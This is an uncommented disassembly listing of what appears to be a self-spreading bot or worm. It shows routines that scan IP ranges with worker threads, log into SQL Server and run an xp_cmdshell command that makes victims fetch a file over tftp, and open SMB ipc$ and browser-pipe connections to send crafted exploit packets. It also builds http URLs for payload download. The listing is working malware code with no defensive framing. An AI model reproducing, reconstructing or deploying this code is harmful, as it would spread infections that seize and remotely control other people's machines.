0FFFFFFFAh push 3 push 0C8h push dword ptr [ebp-64h] call sub_40AA5E test ax, ax jnz short loc_409113 lea eax, [ebp-5Ch] push eax push dword ptr [ebp-64h] push 2 call sub_40AA6A test ax, ax jz short loc_409164 loc_409156: ; CODE XREF: .text:00409283j push dword ptr [ebp-64h] push 1 call sub_40AA70 mov al, bl jmp short loc_409115 ; --------------------------------------------------------------------------- loc_409164: ; CODE XREF: .text:00409154j lea ecx, [ebp-7Ch] mov [ebp-68h], ecx loc_40916A: ; CODE XREF: .text:00409259j xor edi, edi cmp off_424658, ebx jz loc_40924E mov esi, [ecx] mov eax, offset off_424658 loc_40917F: ; CODE XREF: .text:004091F4j lea ecx, [ebp-56h] push ecx push dword ptr [eax] push esi push dword ptr [ebp+0B4h] push dword ptr [ebp+0B0h] call ds:dword_41E274 ; inet_ntoa push eax lea eax, [ebp+8BCh] push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"... push eax call sub_40CE48 add esp, 1Ch push ebx lea eax, [ebp-6Ch] push eax push 400h lea eax, [ebp+0BCh] push eax lea eax, [ebp+8BCh] push eax call sub_40C500 pop ecx push eax lea eax, [ebp+8BCh] push eax push ebx push dword ptr [ebp-5Ch] call sub_40AA64 movzx eax, ax cmp ax, bx jz short loc_4091F8 cmp ax, 1 jz short loc_4091F8 inc edi lea eax, ds:424658h[edi*4] cmp [eax], ebx jnz short loc_40917F jmp short loc_40924E ; --------------------------------------------------------------------------- loc_4091F8: ; CODE XREF: .text:004091E2j ; .text:004091E8j lea eax, [ebp-60h] push eax push dword ptr [ebp-5Ch] push 3 call sub_40AA6A push dword_426A3C lea esi, [ebp+0CBCh] call sub_402A2D mov eax, esi push eax lea eax, [ebp+4BCh] push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'tftp -i %s GE"... push eax call sub_40CE48 add esp, 10h push 0FFFFFFFDh lea eax, [ebp+4BCh] push eax push dword ptr [ebp-60h] call sub_40AA76 test ax, ax jz short loc_409261 push dword ptr [ebp-60h] push 3 call sub_40AA70 loc_40924E: ; CODE XREF: .text:00409172j ; .text:004091F6j mov ecx, [ebp-68h] add ecx, 4 cmp [ecx], ebx mov [ebp-68h], ecx jnz loc_40916A jmp short loc_409276 ; --------------------------------------------------------------------------- loc_409261: ; CODE XREF: .text:00409242j mov eax, [ebp+0ACh] imul eax, 2Ch lea eax, dword_42452C[eax] inc dword ptr [eax] mov byte ptr [ebp-55h], 1 loc_409276: ; CODE XREF: .text:0040925Fj push dword ptr [ebp-5Ch] push 2 call sub_40AA70 mov bl, [ebp-55h] jmp loc_409156 ; --------------------------------------------------------------------------- push ebp mov ebp, esp and esp, 0FFFFFFF8h mov eax, 641Ch call sub_41AF10 mov eax, dword_423068 xor eax, esp mov [esp+6418h], eax push ebx push esi push edi push 44h pop ecx lea esi, [ebp+8] lea edi, [esp+100h] rep movsd push dword ptr [esp+204h] call ds:dword_41E274 ; inet_ntoa xor ebx, ebx mov [esp+28h], eax mov [esp+18h], ebx loc_4092CF: ; CODE XREF: .text:0040999Ej cmp dword ptr [esp+18h], 2 ja loc_4099AD push offset a_ ; "." push dword ptr [esp+2Ch] call sub_40ACE3 test eax, eax pop ecx pop ecx mov edi, 2000h jz short loc_40933F push dword ptr [esp+28h] lea eax, [esp+424h] push offset aSIpc ; "\\\\%s\\ipc$" push edi push eax call sub_40C634 push 20h lea eax, [esp+7Ch] push ebx push eax call sub_40C6F0 add esp, 1Ch lea eax, [esp+420h] mov [esp+7Ch], eax push ebx mov eax, offset byte_4202A1 push eax push eax lea eax, [esp+74h] push eax call sub_40AA7C test eax, eax jnz loc_4099AD loc_40933F: ; CODE XREF: .text:004092F1j push dword ptr [esp+28h] lea eax, [esp+2424h] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push edi push eax call sub_40C634 add esp, 10h push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h lea eax, [esp+2438h] push eax call ds:off_41E05C cmp eax, 0FFFFFFFFh mov [esp+14h], eax jz loc_4099AD push 48h lea eax, [esp+0BCh] push ebx push eax call sub_40C6F0 add esp, 0Ch push 10h pop eax push eax mov [esp+0C0h], eax xor esi, esi lea eax, [esp+0DCh] push offset dword_421428 inc esi push eax mov byte ptr [esp+0C4h], 5 mov [esp+0C5h], bl mov byte ptr [esp+0C6h], 0Bh mov byte ptr [esp+0C7h], 3 mov word ptr [esp+0CCh], 48h mov [esp+0CEh], bx mov [esp+0D0h], ebx mov word ptr [esp+0D4h], 10B8h mov word ptr [esp+0D6h], 10B8h mov [esp+0D8h], ebx mov [esp+0DCh], esi mov [esp+0E0h], bx mov byte ptr [esp+0E2h], 1 call sub_40D820 add esp, 0Ch push 10h lea eax, [esp+0F0h] push offset dword_42143C push eax mov dword ptr [esp+0F4h], 3 call sub_40D820 add esp, 0Ch push ebx lea eax, [esp+68h] push eax push 48h lea eax, [esp+0C4h] push eax push dword ptr [esp+24h] mov dword ptr [esp+110h], 2 call ds:off_41E078 test eax, eax jz loc_4099A3 push ebx lea eax, [esp+38h] push eax push edi lea eax, [esp+442Ch] push eax push dword ptr [esp+24h] call ds:off_41E068 call ds:dword_41E0EC ; GetTickCount push eax call sub_40D0E9 pop ecx push 14h lea eax, [esp+0A8h] push 41h push eax call sub_40C6F0 add esp, 0Ch push 1Ch lea eax, [esp+8Ch] push 41h push eax call sub_40C6F0 add esp, 0Ch call sub_40D0F6 cmp [esp+18h], esi mov [esp+0A4h], eax mov [esp+0B0h], esi mov [esp+0ACh], ebx mov [esp+0A8h], esi mov [esp+0B4h], bx jnz short loc_409507 push 4 mov [esp+98h], esi mov [esp+90h], esi push offset dword_421450 jmp short loc_409525 ; --------------------------------------------------------------------------- loc_409507: ; CODE XREF: .text:004094EEj cmp [esp+18h], ebx jnz short loc_40953C push 2 pop eax push 4 mov [esp+98h], eax mov [esp+90h], eax push offset loc_421458 loc_409525: ; CODE XREF: .text:00409505j lea eax, [esp+0A0h] push eax mov [esp+9Ch], ebx call sub_40D820 add esp, 0Ch loc_40953C: ; CODE XREF: .text:0040950Bj call sub_40D0F6 cdq mov esi, 0FAh mov ecx, esi idiv ecx inc edx mov [esp+88h], edx call sub_40D0F6 cdq idiv esi mov eax, [esp+18h] shl eax, 4 mov esi, dword_424634[eax] push esi mov [esp+0A4h], ebx mov [esp+30h], eax mov [esp+24h], esi inc edx mov [esp+0A0h], edx call sub_40D437 mov edi, eax cmp edi, ebx pop ecx mov [esp+1Ch], edi jz loc_4099A3 lea eax, [esi-2] push eax push 90h push edi call sub_40C6F0 add esp, 0Ch push 2 lea eax, [edi+esi-2] push ebx push eax call sub_40C6F0 mov eax, [esp+38h] mov esi, dword_42463C[eax] add esp, 0Ch push 7 lea eax, [esi+edi] push offset dword_424628 push eax call sub_40D820 xor eax, eax mov [esp+21Ch], bl lea edi, [esp+21Dh] stosd stosd stosd stosw stosb add esp, 0Ch mov edi, 0FFh push edi lea eax, [esp+325h] push ebx add esi, 7 push eax mov [esp+30h], esi mov [esp+32Ch], bl call sub_40C6F0 add esp, 0Ch push edi lea eax, [esp+225h] push ebx push eax mov [esp+22Ch], bl call sub_40C6F0 add esp, 0Ch cmp [esp+20Dh], bl jz short loc_409652 call sub_402C36 test al, al jz short loc_409652 push 100h lea esi, [esp+224h] mov ebx, offset dword_4254B0 call sub_401ACE pop ecx jmp short loc_4096B9 ; --------------------------------------------------------------------------- loc_409652: ; CODE XREF: .text:0040962Ej ; .text:00409637j push dword_426A3C lea esi, [esp+214h] call sub_402A2D lea esi, [esp+324h] mov ebx, offset byte_425089 mov dword ptr [esp], 100h call sub_401ACE pop ecx mov eax, esi push eax push dword_426614 lea eax, [esp+218h] push eax push offset aHttpSDS ; "http://%s:%d/%s" lea eax, [esp+230h] push edi push eax call sub_40C634 lea eax, [esp+238h] push eax call sub_40C500 mov byte ptr [esp+eax+23Ch], 0 add esp, 1Ch loc_4096B9: ; CODE XREF: .text:00409650j lea eax, [esp+220h] push eax mov edi, offset dword_4338C8 mov eax, edi call sub_407D18 test eax, eax pop ecx mov [esp+30h], eax jz loc_4099C4 mov ebx, offset dword_424620 push ebx push eax push edi push 1 mov esi, offset dword_433A40 call sub_407D75 add esp, 10h test eax, eax jnz short loc_40970D push ebx push dword ptr [esp+34h] push edi push 2 call sub_407D75 add esp, 10h test eax, eax jz loc_4099C4 loc_40970D: ; CODE XREF: .text:004096F3j dec eax push eax mov eax, [esp+28h] push esi mov esi, [esp+24h] add eax, esi push eax call sub_40D820 mov eax, [esp+38h] mov ebx, dword_424638[eax] add esp, 0Ch cmp dword ptr [esp+18h], 1 jnz short loc_40977F push 4 lea eax, [ebx+esi] push offset dword_433BD0 push eax call sub_40D820 add esp, 0Ch push 4 add ebx, 0Ch mov edi, offset dword_424650 lea eax, [ebx+esi] push edi push eax call sub_40D820 add esp, 0Ch push 4 lea ebx, [ebx+esi+24h] push edi push ebx call sub_40D820 add esp, 0Ch push 4 push edi add ebx, 0Ch push ebx call sub_40D820 add esp, 0Ch jmp short loc_4097A1 ; --------------------------------------------------------------------------- loc_40977F: ; CODE XREF: .text:00409732j cmp dword ptr [esp+18h], 0 jnz short loc_4097A1 push 10h add ebx, esi pop edi loc_40978B: ; CODE XREF: .text:0040979Fj push 4 push offset dword_424650 push ebx call sub_40D820 add esp, 0Ch add ebx, 4 dec edi jnz short loc_40978B loc_4097A1: ; CODE XREF: .text:0040977Dj ; .text:00409784j mov edi, [esp+20h] lea eax, [edi+42h] push eax call sub_40D437 mov ebx, eax test ebx, ebx pop ecx jz loc_4099DA lea eax, [edi+42h] push eax push 0 push ebx call sub_40C6F0 add esp, 0Ch push 14h lea eax, [esp+0A8h] push eax push ebx call sub_40D820 mov eax, edi test eax, eax mov [esp+2Ch], eax fild dword ptr [esp+2Ch] jge short loc_4097EC fadd ds:flt_4215C8 loc_4097EC: ; CODE XREF: .text:004097E4j fmul ds:dbl_4215C0 add esp, 4 fstp dword ptr [esp+28h] fld dword ptr [esp+28h] fstp qword ptr [esp] call sub_40DE50 fstp dword ptr [esp+28h] fld dword ptr [esp+28h] call sub_41D576 and dword ptr [ebx+18h], 0 push edi mov [ebx+1Ch], eax mov [ebx+14h], eax lea eax, [ebx+20h] push esi push eax call sub_40D820 lea eax, [edi+20h] add esp, 14h test al, 3 mov [esp+24h], eax jz short loc_40983E loc_409835: ; CODE XREF: .text:00409838j inc eax test al, 3 jnz short loc_409835 mov [esp+24h], eax loc_40983E: ; CODE XREF: .text:00409833j push 1Ch lea ecx, [esp+8Ch] push ecx add eax, ebx push eax call sub_40D820 add dword ptr [esp+30h], 1Ch add esp, 0Ch push esi call sub_40D35A pop ecx push 18h xor esi, esi lea eax, [esp+3Ch] push esi push eax call sub_40C6F0 add esp, 0Ch push 14h lea eax, [esp+54h] push esi push eax mov byte ptr [esp+44h], 5 mov byte ptr [esp+45h], 0 mov byte ptr [esp+46h], 0 mov byte ptr [esp+47h], 3 mov dword ptr [esp+48h], 10h mov [esp+4Eh], si mov [esp+50h], esi mov [esp+58h], si mov word ptr [esp+5Ah], 1Fh call sub_40C6F0 add esp, 0Ch push esi push esi push 1 push esi call ds:off_41E088 mov [esp+60h], eax mov byte ptr [esp+13h], 0 mov [esp+1Ch], esi loc_4098CA: ; CODE XREF: .text:0040995Ej cmp dword ptr [esp+1Ch], 2 jge loc_409968 inc dword ptr [esp+1Ch] push 1 push 10B8h push dword ptr [esp+2Ch] lea esi, [esp+44h] push ebx sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [esp+3Ch] rep movsd call sub_405299 add esp, 2Ch test al, al jz short loc_409966 cmp dword ptr [esp+60h], 0 jz short loc_409957 lea eax, [esp+50h] push eax lea eax, [esp+38h] push eax push 2000h lea eax, [esp+442Ch] push eax push dword ptr [esp+24h] call ds:off_41E068 test eax, eax jnz short loc_40993C call ds:dword_41E0D8 ; RtlGetLastWin32Error cmp eax, 3E5h jnz short loc_409957 loc_40993C: ; CODE XREF: .text:0040992Dj push 3E8h push dword ptr [esp+64h] call ds:off_41E06C cmp eax, 102h jnz short loc_409957 mov byte ptr [esp+13h], 1 loc_409957: ; CODE XREF: .text:00409908j ; .text:0040993Aj ... xor esi, esi cmp byte ptr [esp+13h], 0 jz loc_4098CA jmp short loc_409968 ; --------------------------------------------------------------------------- loc_409966: ; CODE XREF: .text:00409901j xor esi, esi loc_409968: ; CODE XREF: .text:004098CFj ; .text:00409964j push dword ptr [esp+14h] mov edi, ds:dword_41E0C4 call edi ; CloseHandle push ebx call sub_40D35A cmp [esp+64h], esi pop ecx jz short loc_409987 push dword ptr [esp+60h] call edi ; CloseHandle loc_409987: ; CODE XREF: .text:0040997Fj cmp byte ptr [esp+13h], 0 jnz short loc_4099E7 cmp [esp+18h], esi jnz short loc_4099AD mov dword ptr [esp+18h], 1 xor ebx, ebx jmp loc_4092CF ; --------------------------------------------------------------------------- loc_4099A3: ; CODE XREF: .text:0040946Dj ; .text:0040958Ej push dword ptr [esp+14h] call ds:dword_41E0C4 ; CloseHandle loc_4099AD: ; CODE XREF: .text:004092D4j ; .text:00409339j ... xor al, al loc_4099AF: ; CODE XREF: .text:004099FDj mov ecx, [esp+6424h] pop edi pop esi pop ebx xor ecx, esp call sub_40AB4A mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_4099C4: ; CODE XREF: .text:004096D4j ; .text:00409707j push dword ptr [esp+14h] call ds:dword_41E0C4 ; CloseHandle push dword ptr [esp+1Ch] loc_4099D2: ; CODE XREF: .text:004099E5j call sub_40D35A pop ecx jmp short loc_4099AD ; --------------------------------------------------------------------------- loc_4099DA: ; CODE XREF: .text:004097B3j push dword ptr [esp+14h] call ds:dword_41E0C4 ; CloseHandle push esi jmp short loc_4099D2 ; --------------------------------------------------------------------------- loc_4099E7: ; CODE XREF: .text:0040998Cj mov eax, [esp+200h] imul eax, 2Ch lea eax, dword_42452C[eax] inc dword ptr [eax] mov al, [esp+13h] jmp short loc_4099AF ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4099FF proc near ; CODE XREF: sub_409CC8+B7p var_51C = dword ptr -51Ch var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = byte ptr -504h var_501 = byte ptr -501h var_390 = byte ptr -390h var_38D = byte ptr -38Dh var_21C = byte ptr -21Ch var_21B = byte ptr -21Bh var_11C = byte ptr -11Ch var_11B = byte ptr -11Bh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 50Ch mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebx push esi push edi mov [ebp+var_50C], eax mov eax, ds:dword_420EFC mov [ebp+var_C], eax mov eax, ds:dword_420F00 mov esi, offset dword_420F04 lea edi, [ebp+var_504] mov ebx, 16Fh movsw push ebx mov [ebp+var_8], eax lea eax, [ebp+var_501] push 0 push eax movsb call sub_40C6F0 mov esi, offset dword_420F04 lea edi, [ebp+var_390] movsw movsb push ebx xor esi, esi lea eax, [ebp+var_38D] push esi push eax call sub_40C6F0 xor eax, eax mov [ebp+var_1C], 0 lea edi, [ebp+var_1B] stosd stosd stosd stosw stosb mov edi, 0FFh push edi lea eax, [ebp+var_21B] push esi push eax mov [ebp+var_21C], 0 call sub_40C6F0 push edi lea eax, [ebp+var_11B] push esi push eax mov [ebp+var_11C], 0 call sub_40C6F0 add esp, 30h cmp [ebp+arg_4], 0 jz short loc_409AD6 call sub_402C36 test al, al jz short loc_409AD6 push 100h lea esi, [ebp+var_11C] mov ebx, offset dword_4254B0 call sub_401ACE pop ecx jmp short loc_409B31 ; --------------------------------------------------------------------------- loc_409AD6: ; CODE XREF: sub_4099FF+B4j ; sub_4099FF+BDj push dword_426A3C lea esi, [ebp+var_1C] call sub_402A2D lea esi, [ebp+var_21C] mov ebx, offset byte_425089 mov [esp+51Ch+var_51C], 100h call sub_401ACE mov eax, esi push eax push dword_426614 lea eax, [ebp+var_1C] push eax push offset aHttpSDS ; "http://%s:%d/%s" lea eax, [ebp+var_11C] push edi push eax call sub_40C634 lea eax, [ebp+var_11C] push eax call sub_40C500 mov [ebp+eax+var_11C], 0 add esp, 20h loc_409B31: ; CODE XREF: sub_4099FF+D5j lea eax, [ebp+var_11C] push eax lea eax, [ebp+var_504] call sub_407D18 test eax, eax pop ecx mov [ebp+var_508], eax jnz short loc_409B55 loc_409B4E: ; CODE XREF: sub_4099FF+194j xor eax, eax jmp loc_409CB9 ; --------------------------------------------------------------------------- loc_409B55: ; CODE XREF: sub_4099FF+14Dj lea ecx, [ebp+var_C] push ecx push eax lea eax, [ebp+var_504] push eax push 2 pop ebx push ebx lea esi, [ebp+var_390] call sub_407D75 add esp, 10h test eax, eax jnz short loc_409B95 lea eax, [ebp+var_C] push eax push [ebp+var_508] lea eax, [ebp+var_504] push eax push ebx call sub_407D75 add esp, 10h test eax, eax jz short loc_409B4E loc_409B95: ; CODE XREF: sub_4099FF+176j mov esi, [ebp+var_50C] push 4 push 0 push esi call sub_40C6F0 push 24h push offset dword_4245E8 push esi call sub_40D820 push edi lea eax, [esi+24h] push 61h push eax call sub_40C6F0 mov edi, 101h push edi lea eax, [esi+123h] push 62h push eax call sub_40C6F0 push ebx lea eax, [esi+224h] push 1 push eax call sub_40C6F0 push edi lea eax, [esi+226h] push 22h push eax call sub_40C6F0 add esp, 48h push ebx lea eax, [esi+327h] push 1 push eax call sub_40C6F0 add esp, 0Ch and [ebp+var_508], 0 lea ebx, [esi+42Ah] loc_409C12: ; CODE XREF: sub_4099FF+24Aj mov eax, [ebp+var_508] add eax, 64h push edi push eax lea eax, [ebx-101h] push eax call sub_40C6F0 push 2 push 1 push ebx call sub_40C6F0 add esp, 18h inc [ebp+var_508] add ebx, 103h cmp [ebp+var_508], 8 jl short loc_409C12 push 25h lea eax, [esi+0B41h] push 6Ch push eax call sub_40C6F0 push 0Ah lea eax, [esi+0B66h] push offset dword_424610 push eax call sub_40D820 mov edi, ds:off_41E090 add esp, 18h lea eax, [ebp+var_390] push eax call edi ; sub_44229A push eax lea eax, [ebp+var_390] push eax lea eax, [esi+0B70h] push eax call sub_40D820 add esp, 0Ch lea eax, [ebp+var_390] push eax call edi ; sub_44229A add eax, 0B70h push 54Ah add eax, esi push 6Dh push eax call sub_40C6F0 add esp, 0Ch mov eax, esi loc_409CB9: ; CODE XREF: sub_4099FF+151j mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A leave retn sub_4099FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=12BCh sub_409CC8 proc near ; DATA XREF: .data:004245B4o var_133C = byte ptr -133Ch var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1234 = dword ptr -1234h var_122F = dword ptr -122Fh var_1228 = word ptr -1228h var_1226 = word ptr -1226h var_1224 = dword ptr -1224h var_1218 = byte ptr -1218h var_1217 = byte ptr -1217h var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp lea ebp, [esp-12BCh] mov eax, 133Ch call sub_41AF10 mov eax, dword_423068 xor eax, ebp mov [ebp+12BCh+var_4], eax push esi push edi push 44h pop ecx lea esi, [ebp+12BCh+arg_0] lea edi, [ebp+12BCh+var_133C] rep movsd mov esi, 1211h push esi lea eax, [ebp+12BCh+var_1217] push 0 push eax mov [ebp+12BCh+var_1218], 0 call sub_40C6F0 mov eax, [ebp+12BCh+var_1238] add esp, 0Ch push [ebp+12BCh+var_1234] mov [ebp+12BCh+var_1228], 2 mov [ebp+12BCh+var_1224], eax call ds:dword_41E238 ; htons push 6 push 1 push 2 mov [ebp+12BCh+var_1226], ax call ds:dword_41E240 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_409D54 loc_409D50: ; CODE XREF: sub_409CC8+A8j xor al, al jmp short loc_409DBA ; --------------------------------------------------------------------------- loc_409D54: ; CODE XREF: sub_409CC8+86j push 10h lea eax, [ebp+12BCh+var_1228] push eax push edi call ds:dword_41E258 ; connect cmp eax, 0FFFFFFFFh jnz short loc_409D72 loc_409D69: ; CODE XREF: sub_409CC8+C0j push edi loc_409D6A: ; CODE XREF: sub_409CC8+D7j call ds:dword_41E244 ; closesocket jmp short loc_409D50 ; --------------------------------------------------------------------------- loc_409D72: ; CODE XREF: sub_409CC8+9Fj push [ebp+12BCh+var_122F] lea eax, [ebp+12BCh+var_1218] push eax call sub_4099FF test eax, eax pop ecx pop ecx jz short loc_409D69 push 0 push esi lea eax, [ebp+12BCh+var_1218] push eax push edi call ds:dword_41E248 ; send cmp eax, 0FFFFFFFFh push edi jz short loc_409D6A call ds:dword_41E244 ; closesocket mov eax, [ebp+12BCh+var_123C] imul eax, 2Ch lea eax, dword_42452C[eax] inc dword ptr [eax] mov al, 1 loc_409DBA: ; CODE XREF: sub_409CC8+8Aj mov ecx, [ebp+12BCh+var_4] pop edi xor ecx, ebp pop esi call sub_40AB4A add ebp, 12BCh leave retn sub_409CC8 endp ; --------------------------------------------------------------------------- push 60h mov eax, offset loc_41D6B9 call sub_40E636 mov eax, [ebp+18h] mov [ebp-64h], eax xor eax, eax mov byte ptr [ebp-30h], 0 lea edi, [ebp-2Fh] stosd stosd stosd stosw mov ebx, [ebp+20h] stosb xor eax, eax mov byte ptr [ebp-20h], 0 lea edi, [ebp-1Fh] stosd stosd stosd stosw xor esi, esi stosb or edi, 0FFFFFFFFh cmp byte_4338BD, 0 mov byte ptr [ebp-41h], 0 mov [ebp-50h], edi mov [ebp-5Ch], edi mov [ebp-60h], edi mov [ebp-68h], edi mov [ebp-48h], esi mov [ebp-58h], esi jnz short loc_409E35 call sub_407F60 test al, al jz loc_40A26F loc_409E35: ; CODE XREF: .text:00409E26j cmp byte_426934, 0 jnz short loc_409E4B call sub_402FC8 test al, al jz loc_40A26F loc_409E4B: ; CODE XREF: .text:00409E3Cj mov [ebp-54h], esi mov esi, offset dword_424508 jmp short loc_409E73 ; --------------------------------------------------------------------------- loc_409E55: ; CODE XREF: .text:00409E7Cj push dword ptr [ebx+4] push esi call sub_40CDC0 test eax, eax pop ecx pop ecx jz short loc_409E80 inc dword ptr [ebp-54h] mov esi, [ebp-54h] imul esi, 2Ch lea esi, dword_424508[esi] loc_409E73: ; CODE XREF: .text:00409E53j push esi call sub_40C500 test eax, eax pop ecx ja short loc_409E55 jmp short loc_409E85 ; --------------------------------------------------------------------------- loc_409E80: ; CODE XREF: .text:00409E62j cmp [ebp-54h], edi jnz short loc_409EA2 loc_409E85: ; CODE XREF: .text:00409E7Ej push offset aScanUnknownExp ; "Scan: Unknown Exploit." push dword ptr [ebp-64h] push dword ptr [ebp+0Ch] push offset dword_426A3C call sub_403DB4 add esp, 10h jmp loc_40A26F ; --------------------------------------------------------------------------- loc_409EA2: ; CODE XREF: .text:00409E83j mov esi, [ebx+8] mov eax, esi mov ecx, offset a____0 ; "*.*.*.*" call sub_4029B4 test eax, eax jz short loc_409EC7 push dword ptr [ebx+0Ch] mov byte ptr [ebp-41h], 1 call sub_40DE3D pop ecx mov [ebp-4Ch], eax jmp short loc_409F24 ; --------------------------------------------------------------------------- loc_409EC7: ; CODE XREF: .text:00409EB3j push esi call sub_40DE3D pop ecx push 3 mov [ebp-4Ch], eax pop eax cmp [ebp+1Ch], eax mov edi, eax jl short loc_409F1D loc_409EDB: ; CODE XREF: .text:00409F1Bj lea esi, [ebx+eax*4] push dword ptr [esi] push offset aA ; "-a" call sub_40CDC0 test eax, eax pop ecx pop ecx jz short loc_409F6B push dword ptr [esi] push offset aB ; "-b" call sub_40CDC0 test eax, eax pop ecx pop ecx jz short loc_409F1D push dword ptr [esi] push offset aC ; "-c" call sub_40CDC0 test eax, eax pop ecx pop ecx jz short loc_409F71 inc edi movzx eax, di cmp eax, [ebp+1Ch] jle short loc_409EDB loc_409F1D: ; CODE XREF: .text:00409ED9j ; .text:00409F00j mov dword ptr [ebp-58h], 1 loc_409F24: ; CODE XREF: .text:00409EC5j ; .text:00409F6Fj ... xor eax, eax loc_409F26: ; CODE XREF: .text:00409F3Cj cmp byte_426C79[eax], 0 jz short loc_409F32 inc dword ptr [ebp-48h] loc_409F32: ; CODE XREF: .text:00409F2Dj add eax, 124h cmp eax, 0CD50h jbe short loc_409F26 mov ecx, [ebp-48h] mov eax, 0B4h sub eax, ecx cmp eax, [ebp-4Ch] jnb short loc_409F7A push eax push offset aScanNotEnoughT ; "Scan: Not Enough Threads. %d Available."... push dword ptr [ebp-64h] push dword ptr [ebp+0Ch] push offset dword_426A3C call sub_403DB4 add esp, 14h jmp loc_40A26F ; --------------------------------------------------------------------------- loc_409F6B: ; CODE XREF: .text:00409EEEj and dword ptr [ebp-58h], 0 jmp short loc_409F24 ; --------------------------------------------------------------------------- loc_409F71: ; CODE XREF: .text:00409F12j mov dword ptr [ebp-58h], 2 jmp short loc_409F24 ; --------------------------------------------------------------------------- loc_409F7A: ; CODE XREF: .text:00409F4Bj add [ebp-4Ch], ecx cmp byte ptr [ebp-41h], 0 jz loc_40A07A push dword ptr [ebx+8] lea eax, [ebp-30h] push offset aS ; "%s" push 0Fh pop edi push edi push eax call sub_40C634 lea eax, [ebp-30h] push eax call sub_40C500 mov byte ptr [ebp+eax-30h], 0 lea eax, [ebp-68h] push eax lea eax, [ebp-60h] push eax lea eax, [ebp-5Ch] push eax lea eax, [ebp-50h] push eax lea eax, [ebp-30h] push offset aD_D_D_D ; "%d.%d.%d.%d" push eax call sub_40D33B add esp, 2Ch cmp dword ptr [ebp-50h], 0FFFFFFFFh lea eax, [ebp-20h] jnz short loc_409FE5 push offset aX_ ; "x." push edi push eax call sub_40C634 add esp, 0Ch jmp short loc_409FF7 ; --------------------------------------------------------------------------- loc_409FE5: ; CODE XREF: .text:00409FD2j push dword ptr [ebp-50h] push offset aD_ ; "%d." push edi push eax call sub_40C634 add esp, 10h loc_409FF7: ; CODE XREF: .text:00409FE3j cmp dword ptr [ebp-5Ch], 0FFFFFFFFh mov esi, offset aSD_ ; "%s%d." lea eax, [ebp-20h] jnz short loc_40A017 push eax push offset aSx_ ; "%sx." push edi push eax call sub_40C634 add esp, 10h jmp short loc_40A029 ; --------------------------------------------------------------------------- loc_40A017: ; CODE XREF: .text:0040A003j push dword ptr [ebp-5Ch] push eax push esi lea eax, [ebp-20h] push edi push eax call sub_40C634 add esp, 14h loc_40A029: ; CODE XREF: .text:0040A015j cmp dword ptr [ebp-60h], 0FFFFFFFFh lea eax, [ebp-20h] jnz short loc_40A044 push eax push offset aSx_ ; "%sx." push edi push eax call sub_40C634 add esp, 10h jmp short loc_40A056 ; --------------------------------------------------------------------------- loc_40A044: ; CODE XREF: .text:0040A030j push dword ptr [ebp-60h] push eax push esi lea eax, [ebp-20h] push edi push eax call sub_40C634 add esp, 14h loc_40A056: ; CODE XREF: .text:0040A042j cmp dword ptr [ebp-68h], 0FFFFFFFFh lea eax, [ebp-20h] jnz short loc_40A06B push eax push offset aSx ; "%sx" push edi jmp loc_40A136 ; --------------------------------------------------------------------------- loc_40A06B: ; CODE XREF: .text:0040A05Dj push dword ptr [ebp-68h] push eax push offset aSD ; "%s%d" push edi jmp loc_40A11F ; --------------------------------------------------------------------------- loc_40A07A: ; CODE XREF: .text:00409F81j push dword_426A3C mov byte ptr [ebp-40h], 0 xor eax, eax lea edi, [ebp-3Fh] stosd stosd stosd stosw lea esi, [ebp-40h] stosb call sub_402A2D push 10h lea eax, [ebp-30h] push 0 push eax call sub_40C6F0 mov eax, esi push eax push offset aS ; "%s" push 0Fh pop esi lea eax, [ebp-30h] push esi push eax call sub_40C634 lea eax, [ebp-30h] push eax call sub_40C500 mov byte ptr [ebp+eax-30h], 0 lea eax, [ebp-68h] push eax lea eax, [ebp-60h] push eax lea eax, [ebp-5Ch] push eax lea eax, [ebp-50h] push eax lea eax, [ebp-30h] push offset aD_D_D_D ; "%d.%d.%d.%d" push eax call sub_40D33B mov eax, [ebp-58h] add esp, 3Ch sub eax, 0 jz short loc_40A12D dec eax jz short loc_40A113 dec eax jnz short loc_40A142 push dword ptr [ebp-60h] lea eax, [ebp-20h] push dword ptr [ebp-5Ch] push dword ptr [ebp-50h] push offset aD_D_D_x ; "%d.%d.%d.x" push esi push eax call sub_40C634 add esp, 18h jmp short loc_40A142 ; --------------------------------------------------------------------------- loc_40A113: ; CODE XREF: .text:0040A0F1j push dword ptr [ebp-5Ch] push dword ptr [ebp-50h] push offset aD_D_x_x ; "%d.%d.x.x" push esi loc_40A11F: ; CODE XREF: .text:0040A075j lea eax, [ebp-20h] push eax call sub_40C634 add esp, 14h jmp short loc_40A142 ; --------------------------------------------------------------------------- loc_40A12D: ; CODE XREF: .text:0040A0EEj push dword ptr [ebp-50h] push offset aD_x_x_x ; "%d.x.x.x" push esi loc_40A136: ; CODE XREF: .text:0040A066j lea eax, [ebp-20h] push eax call sub_40C634 add esp, 10h loc_40A142: ; CODE XREF: .text:0040A0F4j ; .text:0040A111j ... lea eax, [ebp-20h] push eax call sub_40C500 cmp byte ptr [ebp-41h], 0 mov byte ptr [ebp+eax-20h], 0 pop ecx jz short loc_40A15C push dword ptr [ebx+0Ch] jmp short loc_40A15F ; --------------------------------------------------------------------------- loc_40A15C: ; CODE XREF: .text:0040A155j push dword ptr [ebx+8] loc_40A15F: ; CODE XREF: .text:0040A15Aj call sub_40DE3D push eax mov eax, [ebp-54h] imul eax, 2Ch push dword_424528[eax] lea eax, [ebp-20h] push eax push offset aScanSDUsingDTh ; "Scan: %s:%d Using %d Threads." push dword ptr [ebp-64h] push dword ptr [ebp+0Ch] push offset dword_426A3C 